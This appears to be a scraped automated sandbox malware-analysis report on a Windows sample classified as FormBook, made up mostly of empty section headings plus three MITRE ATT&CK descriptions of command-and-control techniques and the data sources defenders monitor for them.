Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report TPJX2QwEdXs5sTV.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: FormBook

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Software Vulnerabilities:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre